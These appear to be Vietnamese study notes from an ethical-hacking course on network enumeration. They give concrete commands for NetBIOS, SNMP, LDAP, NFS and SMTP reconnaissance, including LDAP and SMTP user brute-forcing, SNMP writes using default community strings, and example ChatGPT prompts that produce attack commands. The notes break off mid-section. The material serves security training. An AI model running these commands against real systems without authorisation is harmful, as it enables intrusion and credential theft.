Lưu ý về pháp lý: Các hoạt động liệt kê có thể là bất hợp pháp tùy thuộc vào chính sách của tổ chức và luật pháp hiện hành. Hacker có đạo đức hoặc người kiểm thử xâm nhập (pen tester) phải luôn xin phép hợp lệ một cách chính thức trước khi thực hiện liệt kê.

Trong giai đoạn liệt kê, kẻ tấn công tạo các kết nối tích cực với hệ thống để thu thập các thông tin sau:

- Tài nguyên mạng (Network resources)
- Thư mục/tệp chia sẻ mạng (Network shares)
- Bảng định tuyến (Routing tables)
- Cài đặt kiểm toán và dịch vụ (Audit and service settings)
- Chi tiết SNMP và FQDN (SNMP and FQDN details)
- Tên máy (Machine names)
- Người dùng và nhóm (Users and groups)
- Ứng dụng và banner (Applications and banners)
- **Chia sẻ IPC từ xa:** Trong quá trình liệt kê, kẻ tấn công có thể tình cờ tìm thấy một chia sẻ giao tiếp liên tiến trình (IPC) từ xa, chẳng hạn như IPC$ trong Windows. Chúng có thể thăm dò thêm để kết nối với một chia sẻ quản trị bằng cách brute-force thông tin xác thực admin và lấy toàn bộ thông tin về danh sách tệp hệ thống mà chia sẻ đó đại diện.

Các kỹ thuật liệt kê (enumeration):

- **Trích xuất tên người dùng bằng địa chỉ email (Email ID)**: Mọi địa chỉ email đều chứa hai phần là tên người dùng và tên miền, theo định dạng `username@domainname`.
- **Mật khẩu mặc định (default passwords)**: Nhiều nguồn trực tuyến cung cấp danh sách mật khẩu mặc định do nhà sản xuất gán cho sản phẩm của họ. Người dùng thường bỏ qua khuyến nghị thay đổi mật khẩu mặc định, điều này tạo thuận lợi cho kẻ tấn công liệt kê và khai thác hệ thống.
- **Tấn công dò (brute force) trên Active Directory (AD)**: Microsoft Active Directory dễ bị liệt kê tên người dùng tại thời điểm xác minh đầu vào do lỗi thiết kế. Nếu người dùng bật tính năng “logon hours”, các nỗ lực xác thực dịch vụ sẽ trả về các thông báo lỗi khác nhau. Kẻ tấn công lợi dụng điều này để trích xuất tên người dùng hợp lệ, sau đó tiến hành brute-force.
- **Chuyển vùng DNS (DNS zone transfer)**: Nếu quản trị viên cấu hình máy chủ DNS không đúng cách, kẻ tấn công có thể sử dụng các lệnh như `nslookup` và `dig` để thực hiện chuyển vùng. Qua đó, chúng thu được danh sách tất cả các máy chủ có tên, các vùng phụ (sub-zones) và địa chỉ IP liên quan.
- **Trích xuất nhóm người dùng từ Windows**: Kẻ tấn công cần có một ID đã đăng ký với tư cách là người dùng trong AD. Sau đó, chúng có thể trích xuất thông tin từ các nhóm mà người dùng là thành viên bằng giao diện Windows hoặc dòng lệnh.

- **Trích xuất tên người dùng bằng SNMP**: Kẻ tấn công có thể dễ dàng đoán các chuỗi cộng đồng (community strings) dạng read-only hoặc read-write bằng cách sử dụng API của SNMP để trích xuất tên người dùng.
- **Trích xuất tài nguyên mạng và sơ đồ (topology) bằng SNMP**: Kẻ tấn công có thể truy vấn cây SNMP một cách có phương pháp để thu thập thông tin chi tiết về tài nguyên và cấu trúc liên kết mạng.

Các giao thức và Cổng để Liệt kê (Services and Ports to Enumerate) (Trang 429)

Giao thức điều khiển truyền vận (TCP) và Giao thức dữ liệu người dùng (UDP) quản lý truyền thông dữ liệu trong mạng.

- **TCP (Transmission Control Protocol):** Là giao thức hướng kết nối (connection-oriented), truyền tải thông điệp/email đáng tin cậy. Các tính năng bao gồm:
  - Hỗ trợ xác nhận (acknowledgement) qua hệ thống cửa sổ trượt (sliding window).
  - Tự động truyền lại dữ liệu bị mất.
  - Cho phép định địa chỉ và ghép kênh (multiplexing).
  - Có thể thiết lập, quản lý và chấm dứt kết nối.
  - Cung cấp truyền tải chất lượng dịch vụ (QoS).
  - Quản lý tắc nghẽn và kiểm soát luồng (flow control).
- **UDP (User Datagram Protocol):** Là giao thức không kết nối, truyền tải các thông điệp ngắn và cung cấp dịch vụ không đáng tin cậy (unreliable). Ứng dụng của UDP bao gồm: Audio streaming, Videoconferencing và Teleconferencing.

Dịch vụ và cổng cần liệt kê:

- **TCP/UDP 53 - DNS Zone Transfer**: Máy chủ DNS sử dụng UDP làm giao thức mặc định, nhưng đối với các truy vấn dài mà UDP thất bại, TCP sẽ được sử dụng làm giải pháp dự phòng. Các phần mềm độc hại (như ADM worm, Bonk Trojan) sử dụng cổng 53 để khai thác lỗ hổng trong DNS.
  - Để thực hiện một cuộc chuyển vùng DNS (DNS zone transfer), kẻ tấn công gửi một yêu cầu chuyển vùng đến máy chủ DNS bằng cách giả vờ là một máy khách; máy chủ DNS sau đó sẽ gửi một phần cơ sở dữ liệu của nó dưới dạng một "zone" cho kẻ tấn công. Vùng này có thể chứa một lượng lớn thông tin về mạng lưới của vùng DNS đó.
- **TCP/UDP 135 - MS RPC Endpoint Mapper**: Lắng nghe trên cổng 135. Một lỗ hổng trong việc xử lý sai các thông điệp có định dạng kém có thể cho phép kẻ tấn công gửi thông điệp RPC để khởi chạy tấn công Từ chối dịch vụ (DoS).
- **UDP 137 - NetBIOS Name Service (NBNS)**: Hay còn gọi là WINS, cung cấp dịch vụ phân giải tên. Thường dùng UDP 137 làm giao thức truyền tải *(đôi khi có thể dùng TCP 137 nhưng hiếm gặp trong thực tế).*
- **TCP 139 - NetBIOS Session Service (SMB over NetBIOS)**: Cổng Windows nổi tiếng nhất dùng để truyền tệp, thiết lập phiên null, chia sẻ tệp và máy in. Cấu hình sai có thể dẫn đến hệ thống bị truy cập vào các tệp hệ thống quan trọng trái phép.
- **TCP/UDP 445 - SMB over TCP (Direct Host)**: Lưu lượng chia sẻ tệp và máy in bằng giao thức SMB được lưu trữ trực tiếp trên TCP (thay vì qua NetBIOS như các HĐH cũ).
- **UDP 161 - SNMP (Simple Network Management Protocol)**: Dùng để giám sát các thiết bị mạng. Agent nhận yêu cầu trên cổng 161 từ manager và phản hồi trên cổng 162.

- **TCP/UDP 389 - LDAP (Lightweight Directory Access Protocol)**: Giao thức để truy cập và duy trì thông tin thư mục phân tán (như AD).
- **TCP 2049 - NFS (Network File System)**: Máy chủ NFS lắng nghe trên TCP 2049. Cấu hình sai có thể giúp kẻ tấn công chiếm quyền kiểm soát hệ thống, leo thang đặc quyền, hoặc tiêm mã độc.
- **TCP 25 - SMTP (Simple Mail Transfer Protocol)**: Giao thức gửi thư TCP/IP.
  - **HELO** : Khởi tạo phiên giao tiếp với máy chủ.
  - **MAIL FROM:**: Chỉ định địa chỉ người gửi.
  - **RCPT TO:**: Chỉ định người nhận tin nhắn.
  - **DATA**: Phần dữ liệu (nội dung) của email.
  - **RESET**: Đặt lại kết nối.
  - **VRFY**: Kiểm tra và xác thực xem tên người dùng (địa chỉ) có tồn tại trên máy chủ hay không.
  - **EXPN**: Hiển thị địa chỉ gửi thực tế của các bí danh (aliases) và mở rộng danh sách gửi thư (mailing lists).
  - **HELP[string]**: Yêu cầu hỗ trợ/Trợ giúp.
  - **QUIT**: Thoát.
- **TCP/UDP 162 - SNMP Trap**: Dùng để gửi thông báo (như `sysUpTime`) từ một agent đến một manager.
- **UDP 500 - ISAKMP / IKE (Internet Key Exchange)**: Thiết lập, đàm phán, sửa đổi và xóa các liên kết bảo mật (SA) và khóa mã hóa trong mạng ảo riêng (VPN/IPsec).
- **TCP 22 - SSH / SFTP**: SSH dùng để quản lý an toàn thiết bị, còn SFTP trao đổi dữ liệu an toàn. Kẻ tấn công có thể brute-force SSH hoặc liệt kê SFTP để thu thập quyền thư mục/tài khoản.
- **TCP/UDP 3268 - Global Catalog Service**: Máy chủ của Microsoft lưu trữ thông tin bổ sung cho toàn bộ tổ chức thay vì chỉ một domain. Quản trị viên kết nối bằng LDP để khắc phục sự cố.
- **TCP/UDP 5060, 5061 - SIP (Session Initiation Protocol)**: Giao thức điện thoại Internet cho các cuộc gọi thoại/video. Cổng 5060: lưu lượng không mã hóa, cổng 5061: lưu lượng mã hóa (TLS).
- **TCP 20/21 - FTP (File Transfer Protocol)**: TCP 21 để điều khiển và TCP 20 (hoặc cổng động) để truyền dữ liệu. Kẻ tấn công liệt kê để tìm phiên bản phần mềm, sniffing/brute-force.
- **TCP 23 - Telnet**: Giao thức không an toàn truyền thông tin xác thực dưới dạng văn bản thuần túy (cleartext).
- **UDP 69 - TFTP (Trivial File Transfer Protocol)**: Giao thức không kết nối, thường dùng cập nhật phần mềm/firmware trên thiết bị từ xa. Dễ bị lợi dụng để cài mã độc.
- **TCP 179 - BGP (Border Gateway Protocol)**: Dùng bởi ISP để duy trì bảng định tuyến lớn. Cấu hình sai có thể dẫn đến tấn công từ điển, cạn kiệt tài nguyên hoặc không tặc (hijacking).

Liệt kê NetBIOS (NetBIOS enumeration):

Bước đầu tiên trong việc liệt kê một hệ thống Windows là tận dụng API NetBIOS. NetBIOS ban đầu được phát triển dưới dạng API cho phần mềm máy khách để truy cập tài nguyên mạng cục bộ (LAN). Windows sử dụng NetBIOS để chia sẻ tệp và máy in... Một kẻ tấn công tìm thấy hệ thống Windows có mở cổng 139 có thể kiểm tra xem những tài nguyên nào có thể được truy cập hoặc xem trên hệ thống từ xa. Tuy nhiên, để liệt kê tên NetBIOS, hệ thống từ xa phải được bật tính năng chia sẻ tệp và máy in (file and printer sharing). Tùy thuộc vào tính khả dụng của các chia sẻ, kẻ tấn công có thể đọc/ghi vào hệ thống hoặc khởi chạy tấn công DoS.

NetBIOS sử dụng chuỗi 16 ký tự ASCII để nhận dạng thiết bị mạng (15 ký tự cho tên thiết bị, ký tự thứ 16 dành riêng cho loại dịch vụ/bản ghi). *(Lưu ý: NetBIOS không được Microsoft hỗ trợ phân giải tên cho IPv6)*

Cổng hoạt động:

- **137 UDP** — Name service
- **138 UDP** — Datagram service
- **139 TCP** — Session service

Name	NetBIOS Code	Type	Thông tin thu được
`<host name>`	`<00>`	UNIQUE	Hostname (Tên host)
`<domain>`	`<00>`	GROUP	Domain name (Tên domain)
`<host name>`	`<03>`	UNIQUE	Dịch vụ Messenger đang chạy cho máy tính
`<username>`	`<03>`	UNIQUE	Dịch vụ Messenger đang chạy cho người dùng đã đăng nhập
`<host name>`	`<20>`	UNIQUE	Dịch vụ Server đang chạy
`<domain>`	`<1D>`	GROUP	Master browser name (Tên trình duyệt chủ cho subnet)
`<domain>`	`<1B>`	UNIQUE	Domain master browser name (Xác định PDC cho domain)
`<domain>`	`<1E>`	GROUP	Browser service elections (Bầu chọn dịch vụ trình duyệt)

Công cụ:

- **Tiện ích Nbtstat (Nbtstat Utility):** Nbtstat là một tiện ích Windows giúp khắc phục các sự cố phân giải tên NETBIOS. Lệnh nbtstat loại bỏ và sửa chữa các mục đã tải sẵn bằng cách sử dụng các cờ (switches) phân biệt chữ hoa chữ thường. Kẻ tấn công sử dụng Nbtstat để thu thập thống kê giao thức NetBT (NetBIOS over TCP/IP), bảng tên NetBIOS cho cả máy tính cục bộ và từ xa, cũng như bộ nhớ cache tên NetBIOS.
- **`nbtstat -n`** — hiển thị các tên được đăng ký cục bộ (bảng local). *(Lưu ý ngoài nguồn: Lệnh hiển thị bảng local là `-n` theo tài liệu chuẩn, không phải `-m` như công cụ khác)*
- **`nbtstat -a <remotename>`** hoặc **`nbtstat -A <IP>`** — hiển thị bảng tên NetBIOS của hệ thống từ xa
- **`nbtstat -c`** — hiển thị nội dung bộ nhớ cache tên NetBIOS (cache từ xa) và địa chỉ IP đã phân giải
- **Các tham số `nbtstat` bổ sung (Trang 435-439):**
  - `-r`: Hiển thị số lượng đếm của tất cả các tên được phân giải bởi broadcast hoặc máy chủ WINS.
  - `-R`: Xóa (purges) name cache và tải lại tất cả các mục được gắn thẻ #PRE từ tệp `Lmhosts`.
  - `-RR`: Giải phóng và đăng ký lại tất cả các tên với name server.
  - `-s`: Liệt kê bảng NetBIOS sessions, chuyển đổi IP đích thành tên NetBIOS của máy tính.
  - `-S`: Liệt kê các NetBIOS sessions hiện tại và trạng thái cùng với địa chỉ IP.
  - `<interval>`: Hiển thị lại các số liệu thống kê, tạm dừng trong số giây được chỉ định.
  - `-?`: Hiển thị trợ giúp.
- **Công cụ liệt kê NetBIOS bổ sung (NetBIOS Enumeration Tools):**
  - NetBIOS Enumerator: Quét một dải IP để lấy thông tin NetBIOS name, username, domain, MAC.
  - **Nmap Scripting Engine (NSE) cho NetBIOS**: Kẻ tấn công sử dụng kịch bản NSE `nbstat` để truy xuất tên NetBIOS và địa chỉ MAC của mục tiêu bằng lệnh: `nmap -sV -v --script nbstat.nse <target IP address>`.
  - Global Network Inventory (magnetosoft.com)

  - Advanced IP Scanner
  - Hyena
  - Nsauditor Network Security Auditor

- **PsExec** — công cụ thay thế Telnet nhẹ, thực thi các quy trình trên hệ thống khác (điều khiển tương tác đầy đủ)
- **PsFile** — hiển thị danh sách các tệp trên hệ thống được mở từ xa và có thể đóng chúng
- **PsGetSid** — dịch các SIDs (Security Identifiers) sang tên hiển thị và ngược lại. Hoạt động trên các tài khoản tích hợp, tài khoản domain và tài khoản cục bộ (Trang 440-441).
- **PsKill** — tiện ích có thể tiêu diệt/đóng các tiến trình trên hệ thống từ xa bằng Process ID hoặc tên tiến trình.
- **PsInfo** — thu thập thông tin chính về hệ thống (loại cài đặt, kernel build, bộ nhớ vật lý, số lượng bộ vi xử lý, ngày hết hạn dùng thử, v.v.).
- **PsList** — hiển thị thông tin về CPU, bộ nhớ và số liệu thống kê luồng (thread statistics) của các tiến trình.
- **PsLoggedOn** — hiển thị người dùng đăng nhập cục bộ và người dùng đăng nhập qua tài nguyên chia sẻ bằng cách quét các key trong registry `HKEY_USERS`.
- **PsLogList** — trích xuất nội dung của Event Log (nhật ký sự kiện) trên máy tính cục bộ hoặc từ xa.
- **PsPasswd** — cho phép quản trị viên thay đổi mật khẩu tài khoản (hàng loạt) trên hệ thống cục bộ hoặc từ xa mà không gửi mật khẩu dưới dạng bản rõ qua mạng.
- **PsShutdown** — tắt hoặc khởi động lại máy tính cục bộ hoặc từ xa mà không cần cài đặt phần mềm client.
  - **Cú pháp chi tiết của các công cụ PsTools:**
    * **PsExec:** `psexec [\textbackslash{}\textbackslash{}computer[,computer2[,...] | @file]][-u user [-p psswd] [-n s][-r servicename] [-h] [-l] [-s|-e] [-x] [-i [session]][-c executable [-f|-v]][-w directory] [-d] [-<priority>][-a n,n,...] cmd [arguments]`
    * **PsFile:** `psfile [\textbackslash{}\textbackslash{}RemoteComputer [-u Username [-p Password]]] [[Id | path] [-c]]`
    * **PsGetSid:** `psgetsid [\textbackslash{}\textbackslash{}computer[,computer[,...] | @file] [-u username [-p password]]] [account|SID]`
    * **PsKill:** `pskill [- ] [-t] [\textbackslash{}\textbackslash{}computer [-u username] [-p password]] <process name | process id>`
    * **PsInfo:** `psinfo [[\textbackslash{}\textbackslash{}computer[,computer[,..] | @file [-u user [-p psswd]]] [-h] [-s] [-d] [-c [-t delimiter]] [filter]`
    * **PsLoggedOn:** `psloggedon [- ] [-l] [-x] [\textbackslash{}\textbackslash{}computername | username]`
    * **PsLogList:** `psloglist [-] [\textbackslash{}\textbackslash{}computer[,computer[,...] | @file [-u username [-p password]]] [-s [-t delimiter]] [-m #|-n #|-h #|-d #|-w] [-c] [-x] [-r] [-a mm/dd/yy] [-b mm/dd/yy] [-f filter] [-i ID[,ID[,...] | -e ID[,ID[,...]]] [-o event source[,event source][,..]]] [-q event source[,event source][,..]]] [-l event log file] <eventlog>`

* **PsPasswd:** `pspasswd [[\textbackslash{}\textbackslash{}computer[,computer[,..] | @file [-u user [-p psswd]]] Username [NewPassword]`
* **PsShutdown:** `psshutdown [[\textbackslash{}\textbackslash{}computer[,computer[,..] | @file [-u user [-p psswd]]] -s├r├h├d├k├a├l├o [-f] [-c] [-t nn|h:m] [-n s] [-v nn] [-e [u|p]:xx:yy] [-m "message"]`

Liệt kê tài nguyên chia sẻ:

Tiện ích `net view` hiển thị danh sách máy tính hoặc tài nguyên chia sẻ:

- **`net view \textbackslash{}\textbackslash{}<computername>`** — Hiển thị tài nguyên của một máy tính cụ thể.
- **`net view \textbackslash{}\textbackslash{}<computername> /ALL`** — Hiển thị tất cả các chia sẻ trên máy tính từ xa, bao gồm các chia sẻ ẩn.
- **`net view /domain`** — Hiển thị tất cả các chia sẻ trong domain.
- **`net view /domain:<domain name>`** — Hiển thị tất cả các chia sẻ trên domain được chỉ định.

Liệt kê NetBIOS bằng AI (NetBIOS Enumeration using AI) (Trang 444-446)

Kẻ tấn công có thể tận dụng công nghệ AI tạo sinh như ChatGPT để tự động hóa các tác vụ liệt kê mạng.

- *Ví dụ Prompt 1:* `"Perform NetBIOS enumeration on target IP 10.10.1.11"` -> AI sẽ trả về lệnh: `nbtscan 10.10.1.11`.
- *Ví dụ Prompt 2:* `"Get NetBIOS info for IP 10.10.1.11 and display the associated names"` -> AI sẽ trả về lệnh: `nmblookup -A 10.10.1.11`.
- *Ví dụ Prompt 3:* `"Enumerate NetBIOS on target IP 10.10.1.22 with nmap"` -> AI sẽ trả về lệnh: `nmap -sU -p 137 --script nbstat.nse 10.10.1.22`.

1. Liệt kê SNMP (SNMP Enumeration)

Cổng:

- **UDP 161**: SNMP agent (Lắng nghe các yêu cầu từ manager).
- **TCP/UDP 162**: SNMP trap (Gửi cảnh báo/thông báo từ agent tới manager).

Cách thức hoạt động của SNMP (Working of SNMP) (Trang 449-450): Quá trình giao tiếp giữa SNMP manager và SNMP agent bao gồm các bước:

1. **Khởi tạo (Initialization):** Agent khởi động, khởi tạo cấu hình và lắng nghe trên UDP 161.
2. **Khám phá (Discovery):** Manager gửi yêu cầu broadcast hoặc IP cụ thể để tìm agent.
3. **Trao đổi thông tin (Information Exchange) qua PDUs:**
   - **Get Request:** Manager yêu cầu lấy giá trị của một biến cụ thể.
   - **GetNext Request:** Manager yêu cầu lấy biến tiếp theo trong cây MIB.
   - **Set Request:** Manager yêu cầu thay đổi/cấu hình giá trị của một biến.
   - **GetBulk Request:** Lấy lượng lớn dữ liệu trong một yêu cầu (SNMPv2).
   - **Response:** Agent trả về giá trị yêu cầu hoặc xác nhận hành động.
   - **Inform Request:** Agent gửi thông tin cho manager (giữa các manager với nhau).

- **Trap:** Tin nhắn cảnh báo gửi từ agent đến manager (VD: thiết bị khởi động lại, lỗi link).

4. **Giám sát và Quản lý (Monitoring and Management) (Trang 450):** SNMP manager sử dụng thông tin thu thập được từ SNMP agents để giám sát hiệu suất mạng, phát hiện/chẩn đoán sự cố, và cấu hình thiết bị từ xa. Quá trình liên tục này bao gồm việc thăm dò thường xuyên (gửi Get Requests) và lắng nghe Traps/Inform Requests từ agents.

Phiên bản & Community Strings:

- **Read Community String (`public`)**: Mật khẩu cho phép xem cấu hình thiết bị/hệ thống (chuỗi này thường công khai).
- **Read/Write Community String (`private`)**: Mật khẩu cho phép thay đổi hoặc chỉnh sửa cấu hình thiết bị.
- *(Lưu ý từ nguồn: SNMPv1 và SNMPv2c sử dụng community strings truyền dưới dạng bản rõ - plaintext. SNMPv3 đã được giới thiệu thêm tính năng xác thực - authentication và mã hóa - encryption để tăng cường bảo mật).*

Công cụ và Lệnh:

- **`snmpwalk`**: Công cụ dòng lệnh quét các node SNMP. Lệnh thường dùng:
  - `snmpwalk -v1 -c public <Target IP Address>` (xem tất cả OID)
  - `snmpwalk -v2c -c public <Target IP Address>` (quét SNMPv2)
  - `snmpwalk -v2c -c public <Target IP Address> hrSWInstalledName` (Tìm kiếm phần mềm đã cài đặt)
  - `snmpwalk -v2c -c public <Target IP Address> hrMemorySize` (Xác định dung lượng RAM trên host)
  - `snmpwalk -v2c -c public <Target IP Address> <OID> <New Value>` (Thay đổi một OID sang giá trị khác)
  - `snmpwalk -v2c -c public <Target IP Address> sysContact <New Value>` (Thay đổi OID sysContact)
- **Nmap**: `nmap -sU -p 161 --script=snmp-processes <Target IP Address>`
  - `nmap -sU -p 161 --script=snmp-sysdescr <Target IP Address>` (Lấy thông tin về loại máy chủ SNMP và chi tiết hệ điều hành)
  - `nmap -sU -p 161 --script=snmp-win32-software <Target IP Address>` (Lấy danh sách tất cả các ứng dụng đang chạy trên máy mục tiêu)
- **snmp-check**: Tự động thu thập lượng lớn thông tin thiết bị (hệ điều hành, phần cứng, port, user) qua SNMP.
- **SoftPerfect Network Scanner**: Quét cổng, dịch vụ từ xa, WMI, SNMP, thư mục chia sẻ.
- **Các công cụ khác**: OpUtils, Network Performance Monitor (SolarWinds), PRTG Network Monitor. *(Lưu ý ngoài nguồn: SNMPCheck, SNMP Scanner, SNScan không được đề cập riêng trong phần text của nguồn này).*
- **Engineer's Toolset (SolarWinds) (Trang 455)**

Liệt kê SNMP bằng AI (SNMP Enumeration using AI) (Trang 456-458): Kẻ tấn công sử dụng ChatGPT để tự động hóa việc liệt kê SNMP trên mục tiêu.

- *Ví dụ Prompt 1:* `"Perform SNMP enumeration on target IP 10.10.1.22 using SnmpWalk and display the result here"` -> AI trả về lệnh: `snmpwalk -c public -v1 10.10.1.22`.
- *Ví dụ Prompt 2:* `"Perform SNMP enumeration on target IP 10.10.1.22 using nmap and display the result here"` -> AI trả về lệnh: `nmap -sU -p 161 --script snmp-info 10.10.1.22`.

- *Ví dụ Prompt 3:* `"Perform SNMP processes on target IP 10.10.1.22 using nmap and display the result here"` -> AI trả về lệnh: `nmap -sU -p 161 --script snmp-processes 10.10.1.22`.

Management Information Base (MIB): MIB là cơ sở dữ liệu ảo mô tả các đối tượng mạng, được nhận diện qua các chuỗi OID (Object Identifiers). Các MIB chính bao gồm:

- **`DHCP.MIB`** — [ORANGE] Giám sát lưu lượng mạng giữa máy chủ DHCP và máy chủ từ xa (DHCP service only).
- **`HOSTMIB.MIB`** — [WARN] Giám sát và quản lý các tài nguyên của host (hardware & system stats).
- **`LNMIB2.MIB`** — [INFO] Chứa các kiểu đối tượng (object types) cho các dịch vụ máy trạm (workstation) và máy chủ (Windows LAN Manager services).
- **`MIB_II.MIB`** — [OK] Quản lý Internet dựa trên TCP/IP theo một kiến trúc và hệ thống đơn giản (TCP/IP networking).
- **`WINS.MIB`** — [NOTE] Dành cho Dịch vụ tên Internet của Windows (WINS / NetBIOS name database).

2. Liệt kê LDAP (LDAP Enumeration)

Cổng:

- **TCP/UDP 389**: LDAP (Lightweight Directory Access Protocol) truyền thống.
- **TCP 636**: Secure LDAP (LDAP bảo mật qua SSL/TLS).
- **TCP/UDP 3268**: Global Catalog Service (Dùng trong môi trường Active Directory của Microsoft).

Công cụ và Lệnh:

- **Python script (`ldap3`) (Trang 460-462)**: Kẻ tấn công có thể thực hiện liệt kê thủ công thông qua thư viện `ldap3` của Python.
  - **Cài đặt:** `pip3 install ldap3`
  - **Viết script kết nối:**

```
>>> import ldap3
>>> server = ldap3.Server('Target IP Address', get_info = ldap3.ALL, port =389)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
```

  - **Trích xuất tất cả đối tượng thư mục:**

```
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))
True
>>> connection.entries
```

  - **Trích xuất thông tin người dùng và mật khẩu (Dump LDAP):**

```
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=per
True
>>> connection.entries
```

- **Nmap**: `nmap -p 389 --script ldap-brute --script-args ldap.base='"cn=users,dc=CEH,dc=com"' <Target IP>` (Dùng để brute-force xác thực LDAP).
- **Softerra LDAP Administrator**: Trình duyệt và quản lý thư mục LDAP, trích xuất email, username, phòng ban.

- **`ldapsearch` (Trang 464-465)**: Tiện ích dòng lệnh Linux truy cập vào thư viện `ldap_search_ext(3)`. Cú pháp: `ldapsearch -h <Target IP Address> -x`.
  - Lấy chi tiết naming contexts: `ldapsearch -h <Target IP Address> -x -s base namingcontexts`
  - Lấy thông tin về một object class cụ thể (VD: Employee): `ldapsearch -h <Target IP Address> -x -b "DC=htb,DC=local" '(objectClass=Employee)'`
  - Lấy tất cả các đối tượng trong thư mục: `ldapsearch -x -h <Target IP Address> -b "DC=htb,DC=local" "objectclass=*"`
  - Lấy danh sách người dùng với thuộc tính `sAMAccountName`: `ldapsearch -h <Target IP Address> -x -b "DC=htb,DC=local" '(objectClass= Employee)' sAMAccountName sAMAccountType`
- **Các công cụ khác**: AD Explorer, LDAP Admin Tool, LDAP Account Manager, LDAP Search.

3. Liệt kê NTP và NFS

NTP (Network Time Protocol):

- **Cổng**: UDP 123
- **Công cụ và Lệnh**:
  - `ntpdate`: Thu thập mẫu thời gian.
  - `ntptrace`: Truy vết chuỗi các máy chủ NTP về nguồn chính. Lệnh: `ntptrace [-n] [-m maxhosts] [servername/IP_address]`.
  - `ntpdc`: Giám sát và truy vấn trạng thái ntpd daemon.
  - `ntpq`: Giám sát daemon và đánh giá hiệu suất. Lệnh: `ntpq [-inp] [-c command] [host]`.
  - *(Lưu ý: Trong nhiều bản phân phối Linux, daemon NTP `ntpd` đã được kết hợp với Chrony, `chronyd` để đồng bộ thời gian với máy chủ từ xa).*
  - **Các tham số lệnh chi tiết cho NTP (Trang 468-472):**
    * **`ntpdate`:** `-4` (Ép phân giải IPv4), `-6` (Ép phân giải IPv6), `-a key` (Xác thực với key identifier), `-B` (Ép thời gian luôn được slewed), `-b` (Ép thời gian được stepped), `-d` (Bật debug mode), `-e authdelay` (Chỉ định độ trễ xử lý xác thực), `-k keyfile` (Đường dẫn file key), `-o version` (Chỉ định phiên bản NTP 1 hoặc 2, mặc định là 4), `-p samples` (Số mẫu 1-8, mặc định là 4), `-q` (Chỉ truy vấn, không set clock), `-s` (Chuyển log output sang syslog), `-t timeout` (Thời gian chờ tối đa cho phản hồi server), `-u` (Dùng unprivileged port), `-v` (Verbose).
    * **`ntptrace`:** `-n` (Không in host name, chỉ in IP), `-m maxhosts` (Số cấp tối đa theo chuỗi trace).
    * **`ntpdc`:** `-4`, `-6`, `-d` (Bật debug), `-c command` (Lệnh định dạng tương tác), `-i` (Chạy ở chế độ tương tác), `-l` (Lấy danh sách peers), `-n` (Xuất IP thay vì host name), `-p` (In danh sách peers và trạng thái của chúng), `-s` (In danh sách peers với định dạng khác).
    * **`ntpq`:** `-4`, `-6`, `-c command`, `-d`, `-i`, `-n`, `-p` (Chức năng tương tự ntpdc).
  - **Công cụ UI**: PRTG Network Monitor, Nmap, Wireshark, udp-proto-scanner, NTP Server Scanner.

NFS (Network File System):

Để hoàn thành nhiệm vụ chia sẻ tệp và thư mục qua mạng, quy trình "xuất" (exporting) được sử dụng. Tuy nhiên, máy khách trước tiên sẽ cố gắng làm cho tệp có sẵn để chia sẻ bằng cách sử dụng quy trình "gắn kết" (mounting). Vị trí /etc/exports trên máy chủ NFS chứa danh sách các máy khách được phép chia sẻ tệp trên máy chủ. Trong cách tiếp cận này, để truy cập máy chủ, thông tin xác thực duy nhất được sử dụng là địa chỉ IP của máy khách.

- **Cổng**: TCP 2049
- **Công cụ và Lệnh**:
  - `rpcinfo -p <Target IP Address>`: Quét địa chỉ IP mục tiêu để tìm cổng NFS mở và các dịch vụ RPC đang chạy.
  - `showmount -e <Target IP Address>`: Xem danh sách các thư mục và tệp được chia sẻ (exported directories).
  - **RPCScan**: Giao tiếp với dịch vụ RPC và kiểm tra cấu hình sai trên NFS shares.
  - **SuperEnum**: Dùng script `./superenum` để quét tự động các cổng mở, bao gồm NFS 2049.
  - **SuperEnum bao gồm một tập lệnh thực hiện quá trình liệt kê cơ bản mọi cổng mở. Kẻ tấn công sử dụng tập lệnh ./superenum và sau đó nhập tên tệp văn bản (ví dụ: Target.txt) có chứa địa chỉ IP mục tiêu hoặc danh sách các địa chỉ IP cần liệt kê.**

4. Liệt kê SMTP và DNS

SMTP (Simple Mail Transfer Protocol):

- **Cổng**: TCP 25. Ngoài ra còn dùng cổng 2525 hoặc 587.
- **Công cụ và kỹ thuật**:
  - **Telnet** để thử lệnh SMTP (`telnet <email server> 25`):
    * **`VRFY`**: Kiểm tra và xác thực xem tên người dùng (địa chỉ) có tồn tại trên máy chủ không.
    * **`EXPN`**: Hiển thị địa chỉ gửi thực tế của các bí danh (aliases) và mở rộng danh sách gửi thư (mailing lists).
    * **`RCPT TO`**: Chỉ định người nhận tin nhắn.
  - **Nmap** (Các script mở rộng):
    * Liệt kê người dùng: `nmap -p 25 --script=smtp-enum-users <Target IP>`
    * Liệt kê tất cả các lệnh SMTP có sẵn: `nmap -p 25, 365, 587 --script=smtp-commands <Target IP Address>`
    * Xác định các Open Relays của SMTP: `nmap -p 25 --script=smtp-open-relay <Target IP Address>`
  - **Metasploit**: Sử dụng module `auxiliary/scanner/smtp/smtp_enum`.
  - **NetScanTools Pro**: Công cụ SMTP Email Generator.
  - **`smtp-user-enum`**: Lệnh `smtp-user-enum.pl -M VRFY -u username -t host`.
  - **Công cụ `smtp-user-enum` (Cú pháp chi tiết):** `smtp-user-enum.pl [options] (-u username|-U file-of-usernames) (-t host|-T file-of-targets)`. Các tùy chọn: `-m n` (số tiến trình tối đa), `-M mode` (chỉ định lệnh EXPN, VRFY, hoặc RCPT TO), `-f addr` (email người gửi), `-D dom` (domain gắn thêm vào user), `-p port` (chỉ định cổng), `-d` (debug).
- **Các bước liệt kê qua Metasploit (`smtp_enum`) (Trang 482-489):**
  1. **Bước 1:** Khởi chạy msfconsole, nạp module `use auxiliary/scanner/smtp/smtp_enum`.
  2. **Bước 2:** Sử dụng lệnh `show options` (hoặc `show evasion` để xem tùy chọn lẩn tránh).
  3. **Bước 3:** `set RHOSTS <IP đích>`.

4. **Bước 4:** Thiết lập wordlist (mặc định là `unix_users.txt`) qua lệnh `set USER_FILE <đường dẫn file>`.
5. **Bước 5:** Dùng lệnh `show advanced` để xem toàn bộ tùy chọn nâng cao.
6. **Bước 6:** Chạy lệnh `run` để tiến hành brute-force kiểm tra danh sách user.

Liệt kê SMTP bằng AI (SMTP Enumeration using AI) (Trang 482-489): Kẻ tấn công sử dụng ChatGPT để tự động hóa:

